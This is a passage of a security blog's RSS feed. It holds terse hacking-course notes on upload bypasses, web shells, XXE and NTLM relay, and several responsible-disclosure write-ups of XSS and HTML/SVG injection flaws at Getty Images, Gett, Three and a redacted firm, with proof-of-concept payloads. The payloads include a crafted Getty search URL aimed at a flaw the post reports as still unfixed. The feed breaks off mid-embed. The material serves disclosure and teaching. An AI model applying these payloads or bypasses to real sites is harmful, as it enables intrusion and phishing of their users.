<p>Defend using input validation - blocklists not enough. Paramatise the SQL. ORM(?) Object-relational-mapping Frameworks. Principle of Least Privilege. Don't roll your own!</p>

<p>CIA (Confidentiality, Integrity, Availability)</p>

<p>XXE to get <code>/etc/passwd</code> - weakly configured XML parser. Anything which accepts user-created XML could be vulnerable. Very common on SOAP.</p>

<p>Insecure file upload. Get Web Shell. Filenames can have XSS. Distribute malware or warez.</p>

<p>%00 null byte to avoid extension check <code>file.php%00.jpg</code></p>

<p>Change content type header - send a .php file as image/jpg. Fiddle with magic bytes. <code>malicious.asp;jpg</code> on IIS. Or <code>file.php.jpg</code></p>

<p>WebDAV and Put might be available.</p>

<p>WebShell provides a web interface to the OS level commands. What context are you running in? Might not be root. Upload and download. Execute SQL. Kali stores them in <code>/usr/share/webshells</code></p>

<p>C99 Shell - and other tools. Hacking tools are often backdoored. The creator has access to the shell you've created.</p>

<p>EICAR test to see if anti-malware is running. Change MiMe type when uploading. Is JS checking for file types?</p>

<p>Validate headers and MIME. Check file size. Don't rely on client side - always server side. Only upload to web root. Rename files after upload. Upload to temporary, then virus scan. Change the extension. Restrict folder permissions.</p>

<p>Serialise / Deserialise.</p>

<p>Take PHP, serialise it to an object. PHP warms of passing untrusted user input to unserialize. JSON is better than serialised objects.  Must use magic method to attack (??) eg <code>__construct()</code> Trying to force the server to gadget chain??</p>

<p>pickle.load in Python. Marshal.load() in Ruby. Allow list for the things you want to serealised. Some firewalls</p>

<p>Use <code>!ENTITY</code> (variables). Inject external XML files.  Calls to SMB servers to get NTLM hashes. Then SMBRelay to pass the hash. Using PSexec. Back to Windows ☹. Disable XXE in the parser - or have very strict allow-lists.</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=40794&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2021/11/certified-in-the-art-of-hacking-day-5/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[Full Disclosure: XSS in Getty Images]]></title>
		<link>https://shkspr.mobi/blog/2021/08/full-disclosure-xss-in-getty-images/</link>
					<comments>https://shkspr.mobi/blog/2021/08/full-disclosure-xss-in-getty-images/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Tue, 17 Aug 2021 11:39:17 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[Bug Bounty]]></category>
		<category><![CDATA[Responsible Disclosure]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[xss]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=39358</guid>

					<description><![CDATA[I&#039;ve spent two months trying to report this issue to Getty images. They haven&#039;t responded to my emails, phone calls, Tweets, or LinkedIn messages.  I&#039;ve tried escalating through OpenBugBounty and HackerOne - but still no response.  I&#039;ve taken the decision to fully disclose this XSS because the Getty Images sites accept payments from users - and users need to be aware that the content they see on…]]></description>
										<content:encoded><![CDATA[<p>I've spent two months trying to report this issue to Getty images. They haven't responded to my emails, phone calls, Tweets, or LinkedIn messages.  I've tried escalating through OpenBugBounty and HackerOne - but still no response.  I've taken the decision to fully disclose this XSS because the Getty Images sites accept payments from users - and users need to be aware that the content they see on Getty Images sites may have been tampered with.</p>

<p>This XSS was slightly unusual.  When a user submits HTML to a site search, it should be escaped before echoing it back on the screen. And that's exactly what Getty Images does:</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2021/06/Getty-Images-with-escaped-HTML.png" alt="Getty Images with escaped HTML." width="1024" height="582" class="aligncenter size-full wp-image-39360">

<p>Except!</p>

<p>It <em>only</em> does that if there were <strong>no results</strong> found.</p>

<p>If a malicious user can craft a search term that returns results, then HTML is passed unescaped:</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2021/06/Javascript-popup-on-the-Getty-Images-website.png" alt="Javascript popup on the Getty Images website." width="1024" height="437" class="aligncenter size-full wp-image-39359">

<!--
https://www.gettyimages.no/photos/zzzzzzzzzzzzzzz?family=creative&license=rf&phrase=xy%3C%2Fa%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E
-->

<p>So - take care if you're using the Getty Images websites. Be cautious if it asks you for your financial or personal data. It is possible that the information you're seeing has been manipulated by an adversary.</p>

<h2 id="timeline"><a href="https://shkspr.mobi/blog/2021/08/full-disclosure-xss-in-getty-images/#timeline">Timeline</a></h2>

<ul>
<li>2021-06-17 Discovered on the Getty Images Norway site, replicated on the UK site. Contacted via Twitter as they have no publicly listed security contact. Responsibly disclosed via <a href="https://www.openbugbounty.org/reports/2057054/">OpenBugBounty</a></li>
<li>2021-06-23 Used <a href="https://hackerone.com/disclosure-assistance">HackerOne's Disclosure Assistance</a> programme to see if that would prompt a response.</li>
<li>2021-07-12 Tried contacting via LinkedIn and the general contact form on their website. Made several attempts over the month.</li>
<li>2021-07-29 Direct email to security employees at Getty Images.</li>
<li>2021-08-17 Blog post automatically published.</li>
</ul>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=39358&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2021/08/full-disclosure-xss-in-getty-images/feed/</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[Responsible Disclosure: [REDACTED] XSS]]></title>
		<link>https://shkspr.mobi/blog/2021/08/responsible-disclosure-redacted-xss/</link>
					<comments>https://shkspr.mobi/blog/2021/08/responsible-disclosure-redacted-xss/#respond</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Sat, 07 Aug 2021 11:28:28 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[Responsible Disclosure]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[xss]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=39499</guid>

					<description><![CDATA[Legacy websites are a constant source of vulnerabilities. In a fit of excitement, a team commissions a service and then never bothers updating it. Quite often the original owners leave the business and there&#039;s no-one left who remembers that the service exists. So it sits there, vulnerable, for years.  The [REDACTED] website had a subdomain which was running  KANA&#039;s IQ software which was last…]]></description>
										<content:encoded><![CDATA[<p>Legacy websites are a constant source of vulnerabilities. In a fit of excitement, a team commissions a service and then never bothers updating it. Quite often the original owners leave the business and there's no-one left who remembers that the service exists. So it sits there, vulnerable, for years.</p>

<p>The [REDACTED] website had a subdomain which was running  KANA's IQ software which was last updated in 2010. At least, that's judging by the fact it ran <a href="https://blog.jquery.com/2010/11/11/jquery-1-4-4-release-notes/">jQuery 1.4.4</a>. Most routes into the site redirected properly to their modern website. But a few pages remained accessible.  And, sadly, one of those pages was vulnerable to a rather boring XSS flaw.</p>

<p>Posting <code>'onmouseover="alert('xss')"</code> to a specific page was enough to rewrite its HTML, and produce this:</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2021/08/REDACTED-XSS-fs8.png" alt="A pop-up on a website. The HTML code shows the data has been injected." width="785" height="392" class="aligncenter size-full wp-image-39760">

<p>Now, <code>POST</code>ed XSS are harder to exploit, and relying on the user's mouse to interact with the page makes it less likely to trigger. But, with sufficient determination, an attacker could craft malicious content which could phish the user or otherwise display unwanted content.</p>

<p>Unfortunately, that's about all I can say. When I asked to publicly disclose, I got this in response.</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2021/08/policy-fs8.png" alt="Our company policy does not allow us or any of our researchers to disclose or publish any details of any of the vulnerabilities belonging to REDACTED. For this reason, publishing any vulnerability or detail related to the company is STRICTLY NOT PERMITTED and will result in immediate banning from our program. I hope you understand and respect our position as well as our policy." width="540" height="763" class="aligncenter size-full wp-image-51282">

<h2 id="timeline"><a href="https://shkspr.mobi/blog/2021/08/responsible-disclosure-redacted-xss/#timeline">Timeline</a></h2>

<ul>
<li>2021-07-06 Discovered. Asked for a VDP on Twitter and their public security centre.</li>
<li>2021-07-07 [REDACTED]'s CERT invited me to their <a href="https://mobile.twitter.com/edent/status/1412768123837685760">private BugCrowd programme</a>. Bug disclosed.</li>
</ul>

<blockquote class="social-embed" id="social-embed-1412768123837685760" lang="en" itemscope="" itemtype="https://schema.org/SocialMediaPosting"><blockquote class="social-embed" id="social-embed-1412467093644222467" lang="en" itemscope="" itemtype="https://schema.org/SocialMediaPosting"><header class="social-embed-header" itemprop="author" itemscope="" itemtype="https://schema.org/Person"><a href="https://twitter.com/edent" class="social-embed-user" itemprop="url"><img class="social-embed-avatar social-embed-avatar-circle" src="data:image/webp;base64,UklGRkgBAABXRUJQVlA4IDwBAACQCACdASowADAAPrVQn0ynJCKiJyto4BaJaQAIIsx4Au9dhDqVA1i1RoRTO7nbdyy03nM5FhvV62goUj37tuxqpfpPeTBZvrJ78w0qAAD+/hVyFHvYXIrMCjny0z7wqsB9/QE08xls/AQdXJFX0adG9lISsm6kV96J5FINBFXzHwfzMCr4N6r3z5/Aa/wfEoVGX3H976she3jyS8RqJv7Jw7bOxoTSPlu4gNbfXYZ9TnbdQ0MNnMObyaRQLIu556jIj03zfJrVgqRM8GPwRoWb1M9AfzFe6Mtg13uEIqrTHmiuBpH+bTVB5EEQ3uby0C//XOAPJOFv4QV8RZDPQd517Khyba8Jlr97j2kIBJD9K3mbOHSHiQDasj6Y3forATbIg4QZHxWnCeqqMkVYfUAivuL0L/68mMnagAAA" alt="" itemprop="image"><div class="social-embed-user-names"><p class="social-embed-user-names-name" itemprop="name">Terence Eden is on Mastodon</p>@edent</div></a><img class="social-embed-logo" alt="Twitter" src="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%0Aaria-label%3D%22Twitter%22%20role%3D%22img%22%0AviewBox%3D%220%200%20512%20512%22%3E%3Cpath%0Ad%3D%22m0%200H512V512H0%22%0Afill%3D%22%23fff%22%2F%3E%3Cpath%20fill%3D%22%231d9bf0%22%20d%3D%22m458%20140q-23%2010-45%2012%2025-15%2034-43-24%2014-50%2019a79%2079%200%2000-135%2072q-101-7-163-83a80%2080%200%200024%20106q-17%200-36-10s-3%2062%2064%2079q-19%205-36%201s15%2053%2074%2055q-50%2040-117%2033a224%20224%200%2000346-200q23-16%2040-41%22%2F%3E%3C%2Fsvg%3E"></header><section class="social-embed-text" itemprop="articleBody">Why do I only every find XSS vulnerabilities in websites with no VDP or bug bounty?<br><br>*sigh*<br><br>(I mean, because obviously if they treated security seriously, they wouldn't have these trivial flaws.)</section><hr class="social-embed-hr"><footer class="social-embed-footer"><a href="https://twitter.com/edent/status/1412467093644222467"><span aria-label="9 likes" class="social-embed-meta">❤️ 9</span><span aria-label="0 replies" class="social-embed-meta">💬 0</span><span aria-label="0 reposts" class="social-embed-meta">🔁 0</span><time datetime="2021-07-06T17:42:52.000Z" itemprop="datePublished">17:42 - Tue 06 July 2021</time></a></footer></blockquote><header class="social-embed-header" itemprop="author" itemscope="" itemtype="https://schema.org/Person"><a href="https://twitter.com/edent" class="social-embed-user" itemprop="url"><img class="social-embed-avatar social-embed-avatar-circle" src="data:image/webp;base64,UklGRkgBAABXRUJQVlA4IDwBAACQCACdASowADAAPrVQn0ynJCKiJyto4BaJaQAIIsx4Au9dhDqVA1i1RoRTO7nbdyy03nM5FhvV62goUj37tuxqpfpPeTBZvrJ78w0qAAD+/hVyFHvYXIrMCjny0z7wqsB9/QE08xls/AQdXJFX0adG9lISsm6kV96J5FINBFXzHwfzMCr4N6r3z5/Aa/wfEoVGX3H976she3jyS8RqJv7Jw7bOxoTSPlu4gNbfXYZ9TnbdQ0MNnMObyaRQLIu556jIj03zfJrVgqRM8GPwRoWb1M9AfzFe6Mtg13uEIqrTHmiuBpH+bTVB5EEQ3uby0C//XOAPJOFv4QV8RZDPQd517Khyba8Jlr97j2kIBJD9K3mbOHSHiQDasj6Y3forATbIg4QZHxWnCeqqMkVYfUAivuL0L/68mMnagAAA" alt="" itemprop="image"><div class="social-embed-user-names"><p class="social-embed-user-names-name" itemprop="name">Terence Eden is on Mastodon</p>@edent</div></a><img class="social-embed-logo" alt="Twitter" src="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%0Aaria-label%3D%22Twitter%22%20role%3D%22img%22%0AviewBox%3D%220%200%20512%20512%22%3E%3Cpath%0Ad%3D%22m0%200H512V512H0%22%0Afill%3D%22%23fff%22%2F%3E%3Cpath%20fill%3D%22%231d9bf0%22%20d%3D%22m458%20140q-23%2010-45%2012%2025-15%2034-43-24%2014-50%2019a79%2079%200%2000-135%2072q-101-7-163-83a80%2080%200%200024%20106q-17%200-36-10s-3%2062%2064%2079q-19%205-36%201s15%2053%2074%2055q-50%2040-117%2033a224%20224%200%2000346-200q23-16%2040-41%22%2F%3E%3C%2Fsvg%3E"></header><section class="social-embed-text" itemprop="articleBody"><small class="social-embed-reply"><a href="https://twitter.com/edent/status/1412467093644222467">Replying to @edent</a></small>What's the point of a *private* VDP?<br><br>I looked on HackerOne and BugCrowd, couldn't find anything, so emailed the company's CERT.<br><br>"Oh, you have to be invited to our TOP SECRET programme!"<br><br>Just... why? Why make it harder for people to report problems to you?</section><hr class="social-embed-hr"><footer class="social-embed-footer"><a href="https://twitter.com/edent/status/1412768123837685760"><span aria-label="5 likes" class="social-embed-meta">❤️ 5</span><span aria-label="3 replies" class="social-embed-meta">💬 3</span><span aria-label="0 reposts" class="social-embed-meta">🔁 0</span><time datetime="2021-07-07T13:39:03.000Z" itemprop="datePublished">13:39 - Wed 07 July 2021</time></a></footer></blockquote>

<ul>
<li>2021-07-09 Triaged as P4. US$100 bounty and <a href="https://bugcrowd.com/edent">5 BugCrowd points</a></li>
<li>2021-07-13 Payment received. Request to disclose.</li>
<li>2021-07-20 I noticed the vulnerability had been fixed.</li>
<li>2021-07-29 Request to disclose again. Refused!</li>
<li>2021-08-07 Published on this blog</li>
</ul>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=39499&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2021/08/responsible-disclosure-redacted-xss/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[Responsible Disclosure: Content Injection flaw in Gett's Website]]></title>
		<link>https://shkspr.mobi/blog/2021/05/responsible-disclosure-content-injection-flaw-in-getts-website/</link>
					<comments>https://shkspr.mobi/blog/2021/05/responsible-disclosure-content-injection-flaw-in-getts-website/#respond</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Wed, 26 May 2021 11:21:30 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[svg]]></category>
		<category><![CDATA[xss]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=38719</guid>

					<description><![CDATA[Bit of a boring write-up, but here we go.  Taxi app Gett had a content injection flaw in its search function.  By searching for an HTML string, it was possible for an attacker to add links or images to a page.  It was really hard to contact them - but the threat of media attention sprung them into action.  For example, searching for a specially crafted string meant that an arbitrary SVG could be…]]></description>
										<content:encoded><![CDATA[<p>Bit of a boring write-up, but here we go.</p>

<p>Taxi app Gett had a content injection flaw in its search function.  By searching for an HTML string, it was possible for an attacker to add links or images to a page.  It was really hard to contact them - but the threat of media attention sprung them into action.</p>

<p>For example, searching for a specially crafted string meant that an arbitrary SVG could be drawn onto the page like this:
<img src="https://shkspr.mobi/blog/wp-content/uploads/2021/04/SVG-Injection.png" alt="A red circle drawn onto the website." width="1024" height="530" class="aligncenter size-full wp-image-38721"></p>

<p>Or just a regular <code>&lt;img&gt;</code> element:
<img src="https://shkspr.mobi/blog/wp-content/uploads/2021/05/A-kitten-on-a-webpage.png" alt="A kitten on a webpage." width="1024" height="664" class="aligncenter size-full wp-image-38827"></p>

<p>Links could also be added - like this:
<img src="https://shkspr.mobi/blog/wp-content/uploads/2021/04/Link-Injection.png" alt="A link for dodgy pills written onto a site." width="1024" height="454" class="aligncenter size-full wp-image-38720">
That would have allowed an attacker to bypass email spam filters, by sending links which apparently went to a trusted site. It's also useful for search engine poisoning.</p>

<p>Similarly, the entire page could have been rewritten if the attacker crafted the right sort of HTML and CSS.</p>

<p>Luckily, the form rejected and <code>&lt;script&gt;</code> and <code>&lt;iframe&gt;</code> tags, so an attacker couldn't have run malicious code.</p>

<p>But it would have been possible to craft a page like this to harvest people's payment details:
<img src="https://shkspr.mobi/blog/wp-content/uploads/2021/05/Your-credit-card-has-expired-form.png" alt="Your credit card has expired form." width="1096" height="732" class="aligncenter size-full wp-image-38828">
That form can POST data to any external website.</p>

<p>This was an unusual find, because Gett are running a updated WordPress site. I can only assume their custom theme caused this flaw.</p>

<h2 id="timeline"><a href="https://shkspr.mobi/blog/2021/05/responsible-disclosure-content-injection-flaw-in-getts-website/#timeline">Timeline</a></h2>

<p>Gett don't have a security.txt file, or an obvious bug bounty. So I resorted to my tried-and-true tactic of finding an employee on LinkedIn and trying to connect with them.</p>

<ul>
<li>2021-04-16 Discovered, validated, and immediately contacted Gett via LinkedIn, email, and Twitter. No response.</li>
<li>2021-04-17 Contacted a few random employees on Twitter to see if they knew of a security contact. No response.</li>
<li>2021-04-20 A friend-of-a-friend got me in touch with the CEO. I explained the issue as best I could. No response.</li>
<li>2021-04-21 Tried contacting customer service again. No response.</li>
<li>2021-04-26 Contacted a security journalist who then contacted Gett's PR team. A couple of hours later I had a response from the Gett Security team. Funny that! I disclosed all my findings and asked for a 30 day publication window.</li>
<li>2021-04-27 Validated as fixed. I was offered a $100 gift card in return for not publishing this post. I respectfully declined.</li>
</ul>

<h2 id="sign-up-bonus"><a href="https://shkspr.mobi/blog/2021/05/responsible-disclosure-content-injection-flaw-in-getts-website/#sign-up-bonus">Sign Up Bonus!</a></h2>

<p>As there was no formal bug bounty, I'm making my own one! Visit <a href="https://b.gett.com/icuk?coupon=GTPAQYZ">b.gett.com/icuk?coupon=GTPAQYZ</a> on your mobile and we both get a discount on our next few taxi rides with Gett.</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=38719&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2021/05/responsible-disclosure-content-injection-flaw-in-getts-website/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[Responsible Disclosure: SVG injection in Three.co.uk]]></title>
		<link>https://shkspr.mobi/blog/2019/11/responsible-disclosure-svg-injection-in-three-co-uk/</link>
					<comments>https://shkspr.mobi/blog/2019/11/responsible-disclosure-svg-injection-in-three-co-uk/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Sat, 23 Nov 2019 12:25:37 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[Bug Bounty]]></category>
		<category><![CDATA[mobile]]></category>
		<category><![CDATA[NaBloPoMo]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[three]]></category>
		<category><![CDATA[xss]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=32644</guid>

					<description><![CDATA[Here&#039;s a quick write-up of a minor XSS (Cross Site Scripting) vulnerability on the website of Three.co.uk - one of the UK&#039;s mobile providers.  A brief recap... Most websites have a search function.  If you search for something which cannot be found, the site will often say &#34;No results found for XYZ.&#34;    If we can convince the search engine to spit out HTML, we can inject malicious content into…]]></description>
										<content:encoded><![CDATA[<p>Here's a quick write-up of a minor XSS (<a href="https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)">Cross Site Scripting</a>) vulnerability on the website of Three.co.uk - one of the UK's mobile providers.</p>

<p>A brief recap... Most websites have a search function.  If you search for something which cannot be found, the site will often say "No results found for XYZ."</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2019/11/Bug-Bounty.png" alt="The website says " no="" results="" found="" for:="" bug="" bounty.""="" width="624" height="429" class="aligncenter size-full wp-image-32654">

<p>If we can convince the search engine to spit out HTML, we can inject malicious content into the page.</p>

<p>This is usually done by searching for something like <code>&lt;script&gt;alert("h4X0r");&lt;/script&gt;</code><br>
Three's website detects <code>script</code> elements as hostile and refuses to serve them back.</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2019/11/Access-Denied.png" alt="Access Denied message." width="569" height="198" class="aligncenter size-full wp-image-32655">

<p>But, curiously, it does allow <em>some</em> HTML elements through. The <code>&lt;u&gt;</code> underline element, for example.</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2019/11/Underline.png" alt="Some text on the website has been underlined." width="1178" height="315" class="aligncenter size-full wp-image-32656">

<p>It wouldn't allow <code>&lt;img&gt;</code> or <code>&lt;video&gt;</code> or most other troublesome content. But I was surprised to see it let through SVG (Scalable Vector Graphics).  This means some minor naughtiness can be had!</p>

<p>Doing a search for</p>

<pre><code class="language-_">&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 128 128" width="128px"&gt;&lt;circle cx="64" cy="64" fill="#006add" r="64"/&gt;
</code></pre>

<p>Results in a big blue circle being drawn on the page.
<img src="https://shkspr.mobi/blog/wp-content/uploads/2019/11/Three-XSS-fs8.png" alt="The website has a circle drawn on it." width="865" height="469" class="aligncenter size-full wp-image-32650">
...and that's when I stopped and tried to find someone to report it to!</p>

<h2 id="why-is-this-a-problem"><a href="https://shkspr.mobi/blog/2019/11/responsible-disclosure-svg-injection-in-three-co-uk/#why-is-this-a-problem">Why is this a problem?</a></h2>

<p>Drawing a circle is not malicious. But SVGs are complex. They can store intricate graphics.</p>

<p>Because the search parameter is sent in the URL - <code>http://www.three.co.uk/Search/?q=&lt;svg...</code> - it would be easy for a spammer to send a message saying "Click here for great deals on Three!!!" and then use the SVG to draw a graphic encouraging the hapless user to visit a malicious site.</p>

<p>Or they could create a form to phish users' details. Or... Well, use your imagination.</p>

<h2 id="reporting-it-to-three"><a href="https://shkspr.mobi/blog/2019/11/responsible-disclosure-svg-injection-in-three-co-uk/#reporting-it-to-three">Reporting it to Three</a></h2>

<p><em>*sigh*</em> Three don't publish any security contact details. Nor do they participate in any bug bounties that I could find.</p>

<p>I reached out to my friends in the mobile industry - because I didn't have much faith in reporting it via Twitter...</p>

<blockquote class="social-embed" id="social-embed-1085560856702844928" lang="en" itemscope="" itemtype="https://schema.org/SocialMediaPosting"><blockquote class="social-embed" id="social-embed-1085554510343430144" lang="en" itemscope="" itemtype="https://schema.org/SocialMediaPosting"><header class="social-embed-header" itemprop="author" itemscope="" itemtype="https://schema.org/Person"><a href="https://twitter.com/REALSgtBrdStk" class="social-embed-user" itemprop="url"><img class="social-embed-avatar social-embed-avatar-circle" src="data:image/webp;base64,UklGRuwBAABXRUJQVlA4IOABAAAQCwCdASowADAAPrVMn0snJCKhqrVdUOAWiWMApd+JyHCtVMtjtnXVNOvhqNhvh1SI3REggQ49DeLP5LuEPW5AnxjKRV/vJdNCXbZ2gXD95OuRjujU8QIhaJS7+b3jzS6QAP7KtOj7nldmsLS4JkyewH+5u6DOuO+LKIyFd/JYitkXgzD2mmZR12ZpkuZgN7uq9RBgZglyJguHbILKcjUeIwrHWEQvTVCdVkpVL7bNeivVXx0eIPdbxPsQhwmd00D84fd643IfcaPgiQmdaUoqHsOllU8QOzqYv2XsNm76ODQm/zdBWw7Mq552hfd+7QaWTRYNxglhK7a0Sps1JalE8nL9+H2WtZOz4hWm+MeO7m/iCvndKobhYkKWIPz5druh70BzoR5AbZ+PgPaHcoQFC/q4DFTHSzbmjKvxBHrrr2ArwZCdirahmJdUanDiuOmjaLqKk2cPQXf5sck0eRab59hJoTEMSutn9GZ0i6uecQvycn+8o8QyaJXW+50tpDfEthimiO6iJ9z1WhKIWSbAPuuLWWSiiTKJdu/S9mfNYV2pmTMSwWllpoqsnr6P0VBo10rDtYql76k51UGNEJnhAQ7AVPZV5Mqvr3cTNXanxtcnX3uD0rooX+zSU/egAAA=" alt="" itemprop="image"><div class="social-embed-user-names"><p class="social-embed-user-names-name" itemprop="name">Kieran</p>@REALSgtBrdStk</div></a><img class="social-embed-logo" alt="Twitter" src="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%0Aaria-label%3D%22Twitter%22%20role%3D%22img%22%0AviewBox%3D%220%200%20512%20512%22%3E%3Cpath%0Ad%3D%22m0%200H512V512H0%22%0Afill%3D%22%23fff%22%2F%3E%3Cpath%20fill%3D%22%231d9bf0%22%20d%3D%22m458%20140q-23%2010-45%2012%2025-15%2034-43-24%2014-50%2019a79%2079%200%2000-135%2072q-101-7-163-83a80%2080%200%200024%20106q-17%200-36-10s-3%2062%2064%2079q-19%205-36%201s15%2053%2074%2055q-50%2040-117%2033a224%20224%200%2000346-200q23-16%2040-41%22%2F%3E%3C%2Fsvg%3E"></header><section class="social-embed-text" itemprop="articleBody"><small class="social-embed-reply"><a href="https://twitter.com/ThreeUKSupport">Replying to @ThreeUKSupport</a></small><a href="https://twitter.com/ThreeUKSupport">@ThreeUKSupport</a> your site "<a href="https://www.three.co.uk">three.co.uk</a>" is showing up as 'Not Secure' and there's no valid SSL Certificate for the site. So it will appear as this. <a href="https://twitter.com/REALSgtBrdStk/status/1085554510343430144/photo/1">pic.x.com/0trepindah</a><div class="social-embed-media-grid"><a href="https://pbs.twimg.com/media/DxCqEZiWkAAp9ds.jpg" class="social-embed-media-link"><img class="social-embed-media" alt="" src="data:image/webp;base64,UklGRpQDAABXRUJQVlA4IIgDAADwFQCdASrQACcAPrVUo0snJSOhqrdqwOAWiWUA0713vAorBuAOgdShvg+9pOEy2/1Wmjxif5nwBo+PPuzhvRnsEfzL+tdYD9mfYl/Zw3IAsUAlsmP7L+CdDbxWZTSrUbjhV78I9kCu6FKLp+hC/Yppd3bNOkAG9z6tepL9hmEAjPZVd62mitKv+9hd/rvt5I52JwUAvfIqhXbp6FY1jqdHnpMc2vHlf59xGbie937mHJzB0VnuTMsgAP78ESIVbQdcz79aROfPwAIJnsd5oW4xWpGXzNXhuoRZAITvjyPQkpDa8K2KjVs6lwMNYGAiZ1ye/aUSODgBgQYfY23xqZ17FdohxgxWgJ6D8+SeAC03xJPXUUwDhDg8QvuMis2Qh8FlS8MSaxO06A52ySvpeKFryJ8jgA73PQKY/Qtd4VZQoj6lL495MewkFDtd4QV894T9QXVZlfsxB5nye09PsY/qJNcFWZ/FaE9IBGj0Wpg4xh+0LgeyHvcoFar2BbHb/bNFaqFKEZOd5B7RqxLV4wzKtNr2Jx+6vG4A66p5tayj659A0QpRXoKO3DB9cKT7COytXyU5+w507BXMv04kZmrersa2vmsVo7swsqqv2fyEUKjppSE+XwbIW0r/BDHW7vl/na9vYAi2zfQw2R2MdvGBlOXis6HSgirT1t3PeqouQNCPndcSkpf9TjkBPEPDRT00pmC2BX40/DjpK7hF8T5f2qwga+y7qUUbAEr+CGBtTcz+M6TDS4vnnRdzVB+T3U9MaOQey7W5qTpOfU+RBgtpSq6D8PcDkhZJxX+Ca79G9ZM+KGzawZcC1VesyDEmiDKRcaVaMRgbZYzOCRHQunUw7N/WdLIugtiKGZ1iarRKrLdaxzJDWA/PYZ3GA2QB014CrbviZfRpu7bN+IoVa5vZ/wQTy2r46kR48On1gw/zSMDWy09V39i38hzkMyfSF3R0FI6UvpmlFeE+e6Nx/hy3S7/2Rp996GJZ24p752vJaeMxGmaXk/qhYpn7SryCQ8s/XFljj7Y6pu5+fLPmRMdSpylRu58t4U9BxcBH1zwQ/DkQliC6httsHrBc/QwB/EbSvA2uRCACFSDkduBInUuzkxsAbuqZgOfgbSdj0aYPzZksgxbfEt64/7GQZwFKnEGUbGfvwVpXhSnRf+Y8psLt+SpjCIYYWf4GL2lM7n7SRNdwAAAAAAAA"></a></div></section><hr class="social-embed-hr"><footer class="social-embed-footer"><a href="https://twitter.com/REALSgtBrdStk/status/1085554510343430144"><span aria-label="1 likes" class="social-embed-meta">❤️ 1</span><span aria-label="0 replies" class="social-embed-meta">💬 0</span><span aria-label="0 reposts" class="social-embed-meta">🔁 0</span><time datetime="2019-01-16T15:08:58.000Z" itemprop="datePublished">15:08 - Wed 16 January 2019</time></a></footer></blockquote><header class="social-embed-header" itemprop="author" itemscope="" itemtype="https://schema.org/Person"><a href="https://twitter.com/ThreeUKSupport" class="social-embed-user" itemprop="url"><img class="social-embed-avatar social-embed-avatar-circle" 